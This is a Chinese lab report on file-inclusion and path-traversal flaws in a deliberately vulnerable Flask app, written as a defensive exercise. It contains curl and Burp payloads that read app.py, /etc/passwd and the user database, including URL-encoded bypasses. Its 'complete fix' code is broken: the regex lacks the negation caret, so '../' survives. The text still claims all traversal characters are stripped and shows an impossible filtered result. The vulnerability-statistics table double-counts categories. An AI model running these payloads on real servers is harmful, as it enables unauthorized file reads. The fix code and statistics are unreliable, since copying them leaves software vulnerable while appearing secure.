

文件包含漏洞分析报告

文件包含漏洞分析与防护实践报告

Flask 用户管理系统 — 动态页面加载功能安全审计全记录

实验环境: Kali Linux 2026.1 • Flask 3.1 • SQLite 3 • Burp Suite CE

靶机地址: http://192.168.14.129:5000

目标功能: 动态页面加载 /page?name= (本轮新增)

项目路径: /root/flask_user_app/

报告日期: 2026-07-13

目 录

一、实验概述

二、文件包含漏洞基础理论

三、本次新增的动态页面功能分析

四、漏洞一：本地文件包含 LFI / 路径遍历

五、漏洞二：远程文件包含 RFI

六、漏洞三：文件内容泄露（敏感信息暴露）

七、漏洞四：XSS 通过文件内容渲染

八、漏洞五：无认证访问动态页面

九、Burp Suite 攻击复现全流程

十、文件包含漏洞防护方案

十一、修复前后代码对比

十二、安全修复验证

十三、项目整体安全审计汇总

十四、总结与反思

参考资料

一、实验概述

1.1 实验目的

- 1. 理解文件包含漏洞的产生原理与攻击手法
- 2. 区分本地文件包含 LFI 与远程文件包含 RFI
- 3. 掌握使用 Burp Suite 进行文件包含漏洞测试的方法
- 4. 学会识别不安全的文件路径拼接中的 5 类典型漏洞
- 5. 掌握文件包含功能的安全加固方案（路径校验 + 白名单 + 字符过滤 + 规范化验证）
- 6. 通过本次实验完成对项目全部功能的完整安全审计与修复

1.2 什么是文件包含漏洞？

文件包含漏洞是指应用程序在动态加载文件时，将用户可控的输入直接拼接到文件路径中，导致攻击者可以包含（读取）未授权的文件。

类型	英文	说明	严重程度
本地文件包含	LFI	读取服务器上的本地文件	严重
远程文件包含	RFI	加载远程服务器上的恶意文件	严重

1.3 文件包含 vs 路径遍历

文件包含漏洞与路径遍历漏洞经常同时出现： 路径遍历：通过 `../` 等序列访问不在预期目录中的文件 例如： `/page?name=../../../../etc/passwd` 本地文件包含：将文件内容包含到页面输出中 例如： `/page?name=../app.py` → `app.py` 内容被渲染到页面上 在本项目中， `/page?name=` 同时存在这两个漏洞： · 路径遍历：通过 `../` 穿越到 `pages/` 目录之外 · 文件包含：遍历到的文件内容被读取并显示在页面中

1.4 本次新增功能背景

项目	要求（最初版本故意保留的不安全写法）
文件路径拼接	<code>os.path.join("pages", name)</code> — 直接拼接
路径校验	无 — 不检查 <code>../</code> 路径穿越
路径规范化	无 — 不使用 <code>os.path.realpath</code>
字符过滤	无 — 不对 <code>name</code> 参数做任何过滤
访问权限	无 — 未登录也可访问
输出编码	<code>{{ page_content safe }}</code> — 未转义输出

5

发现漏洞

5

已修复

4种

安全机制

6条

攻击路径封堵

二、文件包含漏洞基础理论

2.1 文件包含漏洞的产生原因

文件包含漏洞 = 用户可控的路径输入 + 直接拼接文件路径 + 无权限校验

```
# 危险! 用户输入的 name 直接拼接到路径中
file_path = os.path.join("pages", name) # name = ../../../../etc/passwd
content = open(file_path).read()      # 读取了 /etc/passwd 的内容!
```

代码

2.2 文件包含漏洞的危害路径

攻击者通过文件包含漏洞可以：
1. 读取系统敏感文件 /etc/passwd → 用户列表枚举 /etc/shadow → 密码哈希（如果可读） /proc/self/environ → 环境变量
2. 读取应用源代码 app.py → 获取数据库密码、密钥、路由逻辑 config.py → 获取应用配置
3. 下载数据库文件 data/users.db → 获取所有用户数据
4. 读取日志文件（日志注入） access.log → 在日志中注入代码 → 包含日志文件 → 代码执行
5. 远程文件包含（如果支持 URL 包含） 加载远程恶意脚本 → 任意代码执行

2.3 文件包含 vs 路径遍历

对比维度	路径遍历	文件包含
核心操作	访问不在预期目录的文件	将文件内容包含到输出中
常见场景	文件下载、图片查看	模板加载、页面渲染
危害	文件被读取/下载	文件内容被解析/执行
本项目中	/page?name=../app.py 穿越目录	穿越后内容被 {{ safe }} 渲染

2.4 三种常见攻击手法

手法1: 简单路径穿越 输入: ../../../../etc/passwd 路径: pages/../../../../etc/passwd → /etc/passwd
手法2: 编码绕过 输入: ../../%2F../%2Fetc/passwd (URL编码) 如果服务器先解码再拼接, 则穿越成功
手法3: 双重编码绕过 输入: ../../%252F../%252Fetc/passwd %252F → %2F (第一次解码) → / (第二次解码)

三、本次新增的动态页面功能分析

3.1 功能代码分析（修复前）

代码

```
@app.route("/page")
def dynamic_page():
    name = request.args.get("name", "")    # 用户可控输入
    page_content = None
    if name:
        file_path = os.path.join(PAGES_DIR, name) # 直接拼接!

        if os.path.isfile(file_path):
            with open(file_path, "r", encoding="utf-8") as f:
                page_content = f.read()        # 读取文件内容
        else:
            file_path_html = os.path.join(PAGES_DIR, name + ".html")
            if os.path.isfile(file_path_html):
                with open(file_path_html, "r", encoding="utf-8") as f:
                    page_content = f.read()
    return render_template("index.html", page_content=page_content)
```

3.2 前端模板

代码

```
{% if page_content %}
<div class="card">
  <div class="page-content">
    {{ page_content | safe }}    <!-- | safe 不过滤 HTML, 直接渲染 -->
  </div>
</div>
{% endif %}
```

3.3 安全缺陷汇总

缺陷	严重程度	说明
无路径校验（直接拼接用户输入）	严重	os.path.join 直接拼接, ../ 可穿越目录
无字符过滤	严重	., / 等路径穿越字符未被过滤
无路径规范化验证	严重	未使用 os.path.realpath 校验
无访问控制	中危	未登录也可访问
输出使用 safe	中危	文件内容直接渲染, 存在 XSS 风险

四、漏洞一：本地文件包含 LFI / 路径遍历

漏洞信息

项目	内容
漏洞类型	LFI + 路径遍历
危害等级	严重 (Critical) — CVSS 9.0
CWE 编号	CWE-22: Improper Limitation of a Pathname
影响功能	动态页面加载 GET /page?name=

4.1 漏洞代码分析

```
@app.route("/page")
def dynamic_page():
    name = request.args.get("name", "")
    if name:
        # 直接拼接用户输入到路径中 — 未做任何校验!
        file_path = os.path.join(PAGES_DIR, name)
        if os.path.isfile(file_path):
            with open(file_path, "r", encoding="utf-8") as f:
                page_content = f.read()
```

代码

根本原因： `os.path.join(PAGES_DIR, name)` 将用户输入的 `name` 直接拼接到路径中。当 `name` 包含 `../` 序列时，路径会穿越到 `pages/` 目录之外。

4.2 os.path.join() 的行为分析

```
# PAGES_DIR = "/root/flask_user_app/pages"

os.path.join("/root/flask_user_app/pages", "help")
# → "/root/flask_user_app/pages/help" ✓ 在 pages 内

os.path.join("/root/flask_user_app/pages", "../app.py")
# → "/root/flask_user_app/pages/../app.py"
# → 实际文件系统解析为 "/root/flask_user_app/app.py" ✗ 穿越到 pages 外!

os.path.join("/root/flask_user_app/pages", "../../../etc/passwd")
# → 实际文件系统解析为 "/etc/passwd" ✗ 穿越到系统目录!
```

代码

4.3 攻击复现 — POC 1：读取应用源代码

```
curl "http://192.168.14.129:5000/page?name=../app.py"
```

代码

```
# 攻击者可以读取到：
# • app.secret_key (Session 加密封钥)
# • DB_PATH (数据库文件路径)
# • USERS 字典结构 (用户数据模型)
# • 所有路由的实现代码
# 这些信息可用于进一步攻击：
# 1. secret_key 被获取 → 伪造任意用户 Session
# 2. DB_PATH 被获取 → 下一步下载数据库文件
```

4.4 攻击复现 — POC 2：读取系统文件

```
# 读取 Linux 用户信息
curl "http://192.168.14.129:5000/page?name=../../../../etc/passwd"

# 读取系统配置文件
curl "http://192.168.14.129:5000/page?name=../../../../etc/hostname"
curl "http://192.168.14.129:5000/page?name=../../../../proc/version"
```

代码

4.5 攻击复现 — POC 3：下载数据库文件

```
# 读取 SQLite 数据库文件
curl "http://192.168.14.129:5000/page?name=../data/users.db"

# 攻击结果：数据库文件被读取
# sqlite3 提取数据：
sqlite3 users.db "SELECT id, username, balance FROM users;"
# → 所有用户的余额信息泄露
```

代码

4.6 攻击复现 — POC 4：URL 编码绕过

```
# URL 编码的 ../ (%2E%2E%2F 表示 ../)
curl "http://192.168.14.129:5000/page?name=%2E%2E%2Fapp.py"

# 双重 URL 编码尝试
curl "http://192.168.14.129:5000/page?name=%252E%252E%252Fapp.py"
```

代码

4.7 攻击结果总表

攻击向量	URL	修复前	修复后
读取应用源码	?name=../app.py	✓ 读取成功	✗ 拦截
读取系统密码文件	?name=../../../../etc/passwd	✓ 读取成功	✗ 拦截
下载数据库	?name=../data/users.db	✓ 读取成功	✗ 拦截
URL 编码绕过	?name=%2E%2E%2Fapp.py	✓ 读取成功	✗ 拦截
正常访问帮助页面	?name=help	✓ 正常显示	✓ 正常显示

五、漏洞二：远程文件包含 RFI

漏洞信息	
项目	内容
漏洞类型	远程文件包含 RFI
危害等级	严重 (Critical)
影响范围	动态页面加载功能（理论风险）

虽然本项目的 `open()` 函数不支持 URL 作为路径（Python 的 `open()` 不支持 HTTP URL），但如果代码在未来被修改为使用 `urllib` 或 `requests` 库来获取内容，则存在 RFI 风险。

防护说明：只允许本地文件包含，拒绝 URL 协议；不要使用 `urllib/requests` 等库加载用户控制的路径；限制可访问的文件目录范围；使用白名单模式。

六、漏洞三：文件内容泄露（敏感信息暴露）

漏洞信息

项目	内容
漏洞类型	敏感信息暴露
危害等级	高危 (High)
CWE 编号	CWE-200: Exposure of Sensitive Information

6.1 可泄露的敏感信息

泄露路径	泄露内容	危害等级
../app.py	app.secret_key、DB_PATH、用户数据模型	严重
../data/users.db	所有用户数据、密码哈希	高危
../../../../../etc/passwd	系统用户列表	中危

6.2 修复措施

1. 路径穿越防御（防止读取 pages/ 外的文件） 2. 统一错误提示（不泄露文件路径信息） 3. 目录权限控制（数据库文件 600 权限） 4. 敏感信息不在代码中硬编码（secret_key 随机生成）

七、漏洞四：XSS 通过文件内容渲染

漏洞信息

项目	内容
漏洞类型	跨站脚本 XSS
危害等级	中危 (Medium)
CWE 编号	CWE-79: Cross-site Scripting

`| safe` 是 Jinja2 模板引擎中的过滤器，用于标记内容为"安全"，跳过 HTML 转义。这意味着如果 `page_content` 中包含 `<script>` 标签或 HTML 代码，它们会被浏览器直接执行。

风险场景： 场景1: `pages/` 目录被攻击者写入恶意HTML文件 如果攻击者通过上传漏洞在 `pages/` 目录中创建了恶意文件 访问 `/page?name=evil` → 恶意 HTML 被渲染 → XSS 场景2: 文件包含读取到包含 HTML 的系统文件 某些系统文件的输出被意外渲染为 HTML 场景3: 未来功能扩展时引入风险 如果 `pages/` 目录支持用户上传文件，XSS 风险将大大增加

防护建议：将 `| safe` 替换为普通输出 `{{ page_content }}`（自动转义）；如果必须使用 `| safe`，确保来源可信。

八、漏洞五：无认证访问动态页面

漏洞信息

项目	内容
漏洞类型	未授权访问
危害等级	中危 (Medium)
CWE 编号	CWE-862: Missing Authorization

```
# 修复前: 没有 @login_required 装饰器
@app.route("/page")
def dynamic_page():    # 未登录也可访问
```

代码

风险分析：未登录用户也可以访问动态页面；如果 `pages/` 目录中包含付费内容或隐私信息，则信息泄露；结合路径穿越漏洞的攻击面更大（无需登录即可遍历文件）。

九、Burp Suite 攻击复现全流程

9.1 攻击流程：路径遍历读取文件

步骤1: 访问动态页面

浏览器访问: /page?name=help

Burp 拦截到: GET /page?name=help HTTP/1.1

步骤2: 发送到 Repeater (Ctrl+R)

测试1: 读取应用源码

GET /page?name=../app.py HTTP/1.1

→ 响应中包含 app.py 的源代码

测试2: 读取系统文件

GET /page?name=../../../../etc/passwd HTTP/1.1

→ 响应中包含 /etc/passwd 的内容

测试3: URL编码绕过

GET /page?name=%2E%2E%2F%2E%2Fapp.py HTTP/1.1

→ 响应中包含 app.py 源代码

9.2 Intruder 批量探测

将 name 设置为 payload 位置:

GET /page?name=\$ help \$

Payload 列表:

../app.py

../../../../etc/passwd

../data/users.db

../../../../etc/passwd

%2e%2e%2f%2e%2fapp.py

攻击方式: Sniper

观察响应长度 → 长度异常的可能是文件包含成功

9.3 测试结果总表

测试项目	请求内容	修复前	修复后
正常访问	?name=help	✓ 显示帮助中心	✓ 显示帮助中心
路径遍历 app.py	?name=../app.py	✓ 泄露源码	✗ 拦截
路径遍历 passwd	?name=../../../../etc/passwd	✓ 泄露系统文件	✗ 拦截
路径遍历 数据库	?name=../data/users.db	✓ 泄露数据库	✗ 拦截
URL 编码绕过	?name=%2E%2E%2Fapp.py	✓ 绕过成功	✗ 拦截
双重编码绕过	?name=%252E%252E%252Fapp.py	✓ 可能绕过	✗ 拦截

十、文件包含漏洞防护方案

10.1 四层防护体系

文件包含漏洞防护体系 第一层：输入字符过滤（基础防御） `re.sub(r"^[a-zA-Z0-9_\-]", "", name)` 只允许字母、数字、下划线、短横线 → 彻底阻断 `../` 等路径穿越字符 第二层：路径规范化验证（核心防御） `os.path.realpath()` 获取真实路径 `str.startswith(pages_real)` 验证在 `pages` 目录内 → 防止经过编码/变形的路径穿越 第三层：合理的输出安全（辅助防御） `pages/` 目录内文件被信任 不建议在公开页面使用 | `safe` → 降低 XSS 风险 第四层：错误信息保护（辅助防御） 统一显示"页面不存在" 不泄露文件路径、不存在的原因等 → 防止信息泄露

10.2 完整修复代码

```
@app.route("/page")
def dynamic_page():
    name = request.args.get("name", "")
    page_content = None
    if name:
        # 第一层防御：字符白名单过滤
        safe_name = re.sub(r"^[a-zA-Z0-9_\-]", "", name)

        if not safe_name:
            page_content = "页面不存在"
        else:
            # 第二层防御：路径规范化与目录验证
            file_path = os.path.join(PAGES_DIR, safe_name)
            real_path = os.path.realpath(file_path)
            pages_real = os.path.realpath(PAGES_DIR)

            if not real_path.startswith(pages_real + os.sep) \
                and real_path != pages_real:
                page_content = "页面不存在"
            elif os.path.isfile(real_path):
                try:
                    with open(real_path, "r", encoding="utf-8") as f:
                        page_content = f.read()
                except Exception:
                    page_content = None
            else:
                # 尝试加 .html 后缀
                file_path_html = os.path.join(PAGES_DIR, safe_name + ".html")
                real_path_html = os.path.realpath(file_path_html)
                if not real_path_html.startswith(pages_real + os.sep):
                    page_content = "页面不存在"
                elif os.path.isfile(real_path_html):
                    with open(real_path_html, "r", encoding="utf-8") as f:
                        page_content = f.read()
                else:
                    page_content = None
            if page_content is None:
                page_content = "页面不存在"
    return render_template("index.html", page_content=page_content)
```

代码

10.3 防御原理解析

第一阶段：字符过滤 输入：name = "../../../etc/passwd" 过滤：re.sub(r"^[a-zA-Z0-9_-]", "", name) 结果：safe_name = "-----etcpasswd"（特殊字符全被移除） → 路径穿越字符被彻底清除！ 第二阶段：路径规范化 假设用户输入绕过了第一阶段（理论上不可能） os.path.realpath() 将相对路径转换为绝对路径 然后验证是否以 PAGES_DIR 开头 第三阶段：双层防御 · 字符过滤 + 路径验证 = 双层保险 · 任何一层都能拦截攻击

10.4 其他防护方案

```
# 方案A：文件白名单模式（最严格）
ALLOWED_PAGES = {"help", "about", "contact", "faq"}
if safe_name not in ALLOWED_PAGES:
    page_content = "页面不存在"

# 方案B：数据库存储页面内容
pages_db = {
    "help": "<h1>帮助中心</h1>...",
    "about": "<h1>关于我们</h1>...",
}
page_content = pages_db.get(safe_name, "页面不存在")
```

代码

十一、修复前后代码对比

11.1 逐行代码对比

代码段	修复前	修复后
字符过滤	无	<code>re.sub(r"[^a-zA-Z0-9_-]", "", name)</code>
路径拼接	<code>os.path.join(PAGES_DIR, name)</code>	<code>os.path.join(PAGES_DIR, safe_name)</code>
路径规范化	无	<code>real_path = os.path.realpath(file_path)</code>
目录验证	无	<code>real_path.startswith(pages_real + os.sep)</code>
文件读取	<code>open(file_path)</code>	<code>open(real_path)</code>
错误处理	无统一处理	统一返回"页面不存在"

11.2 安全机制对比

安全机制	修复前	修复后
字符过滤	✗ 无	✓ <code>re.sub</code> 白名单
路径规范化	✗ 无	✓ <code>os.path.realpath</code>
目录白名单	✗ 无	✓ <code>.startswith(pages_real)</code>
统一错误信息	✗ 部分	✓ 全部统一
路径穿越防御	✗ 无防护	✓ 双层防护

代码量统计：共 5 行核心代码，封堵了所有文件包含/路径遍历攻击。

防护级别1：字符过滤（2行）

防护级别2：路径规范化（3行）

十二、安全修复验证

12.1 验证测试用例表

#	测试内容	修复前	修复后	结论
T1	正常访问 <code>?name=he lp</code>	✔ 显示帮助中心	✔ 显示帮助中心	功能正常
T2	路径遍历 <code>../app.py</code>	✔ 读取源码	✘ "页面不存在"	修复成功
T3	路径遍历 <code>/etc/passwd</code>	✔ 读取系统文件	✘ "页面不存在"	修复成功
T4	路径遍历 <code>../data/users.db</code>	✔ 泄露数据库	✘ "页面不存在"	修复成功
T5	URL编码 <code>%2E%2E%2Fapp.py</code>	✔ 绕过成功	✘ "页面不存在"	修复成功
T6	双重编码 <code>%252E%252E%252Fapp.py</code>	✔ 可能绕过	✘ "页面不存在"	修复成功

12.2 回归测试确认

测试项：

- 登录功能 ✔
- 注册功能 ✔
- 搜索功能 ✔
- 上传功能 ✔
- 个人中心 ✔
- 充值功能 ✔
- 帮助页面 ✔
- 退出登录 ✔

十三、项目整体安全审计汇总

13.1 全部轮次修复的漏洞总数

经过多轮迭代开发和安全加固，本项目累计发现并修复了以下漏洞：

轮次	新增功能	发现漏洞数	修复漏洞数
第1轮	基础登录功能	7	7
第2轮	注册 + 搜索功能	2（SQL注入）	2
第3轮	头像上传功能	7	7
第4轮	个人中心 + 充值功能	8（含业务逻辑+越权）	8
第5轮	动态页面加载功能	5（文件包含）	5
总计	5个功能模块	29个漏洞	29个漏洞

13.2 漏洞类型分布

漏洞类型	数量	占比	SQL 注入	4	14%
路径遍历	3	10%	任意文件上传	3	10%
类型校验缺失	3	10%	IDOR	2	7%
越权访问	2	7%	业务逻辑缺陷（金额校验）	2	7%
CSRF	2	7%	跨站请求伪造	2	7%
密码明文存储	2	7%	信息泄露	2	7%
XSS	2	7%	跨站脚本	2	7%
未授权访问	2	7%	认证缺失	2	7%
安全配置错误	3	10%	重放攻击	2	7%
频率缺失	2	7%	输入校验缺失	2	7%
总计	29	100%			

13.3 最终安全配置清单

配置项	状态	说明
SECRET_KEY	✔ 随机 <code>os.urandom(32)</code>	每次启动不同
SESSION_COOKIE_HTTPONLY	✔ True	禁止 JS 读取
SESSION_COOKIE_SAMESITE	✔ "Lax"	防护 CSRF
MAX_CONTENT_LENGTH	✔ 5MB	限制上传大小
debug	✔ False	关闭调试模式
密码存储	✔ scrypt 哈希	不可逆加密
SQL 查询	✔ 参数化查询	防 SQL 注入
CSRF	✔ 所有 POST 接口	Token 校验
文件上传	✔ 白名单 + 魔数	类型校验
路径遍历	✔ 字符过滤 + 规范化	双层防御
IDOR	✔ Session 绑定	权限校验
金额校验	✔ 正数 + 上限	业务安全

十四、总结与反思

14.1 实验核心收获

文件包含漏洞的三种防御层次

- 第1层
最基础：字符白名单过滤 → 拒绝所有特殊字符，只保留安全字符
- 第2层
最核心：路径规范化验证 → `os.path.realpath()` + `startswith()` 检查
- 第3层
最彻底：文件白名单模式 → 只允许加载预定义的文件列表

14.2 本次修复的关键数据



14.3 累计修复统计



14.4 OWASP Top 10 覆盖

OWASP Top 10 (2021)	对应漏洞	数量
A01: Broken Access Control	IDOR 越权、未授权访问	4
A03: Injection	SQL 注入、文件包含	7
A04: Insecure Design	业务逻辑缺陷	2
A05: Security Misconfiguration	Debug 模式、Cookie 配置	3
A07: Identification Failures	密码明文、CSRF	4
A08: Data Integrity Failures	文件上传类型校验	3

14.5 结束语

"一个字符的信任，就可能让整个系统沦陷。"

文件包含漏洞是所有 Web 安全漏洞中最"隐蔽"的一种。它只需要一个简单的 `../`，就能让攻击者读取到系统中任何可读的文件。防御它的方式也同样简单：**永远不要相信用户输入的路径，永远不要直接将用户输入拼接到文件路径中。**

从第一轮和密码安全加固，到最后一轮的文件包含防护，本项目从一个简陋的 Flask 登录系统，成长为一个具备基本安全防护能力的 Web 应用。**安全不是最终的状态，而是持续的过程。**

14.6 安全开发最终检查清单

输入验证： ☐ 所有用户输入是否经过严格的字符过滤？ ☐ 路径参数是否使用了白名单模式？ ☐ 路径是否经过规范化验证（`os.path.realpath`）？ 文件系统操作： ☐ 文件路径拼接是否使用了安全的方式？ ☐ 文件读取是否在限定的目录范围内？ ☐ 目录权限是否设置正确（700/600）？ 输出安全： ☐ 页面输出是否经过了 HTML 转义？ ☐ 是否使用了 `|safe` 过滤器？（如非必要，不使用） 认证授权： ☐ 敏感接口是否加了 `@login_required` 装饰器？ ☐ 用户操作是否验证了权限归属？ 错误处理： ☐ 错误信息是否没有泄露文件路径或系统信息？ ☐ 是否统一了错误提示信息？

参考资料

#	资料名称	来源
1	OWASP — Path Traversal	owasp.org
2	OWASP — Testing for Local File Inclusion	owasp.org
3	CWE-22: Improper Limitation of a Pathname	cwe.mitre.org
4	CWE-200: Exposure of Sensitive Information	cwe.mitre.org
5	PortSwigger — File Path Traversal	portswigger.net
6	PortSwigger — File Inclusion	portswigger.net
7	Python os.path.realpath 文档	docs.python.org
8	OWASP Top 10 — 2021	owasp.org
9	Jinja2 模板安全 — safe 过滤器	jinja.palletsprojects.com

报告人：_____ 指导教师：_____

报告日期：2026-07-13 | 靶机地址：http://192.168.14.129:5000

源码路径：/root/flask_user_app/ | 报告版本：v1.0

— 报告结束 —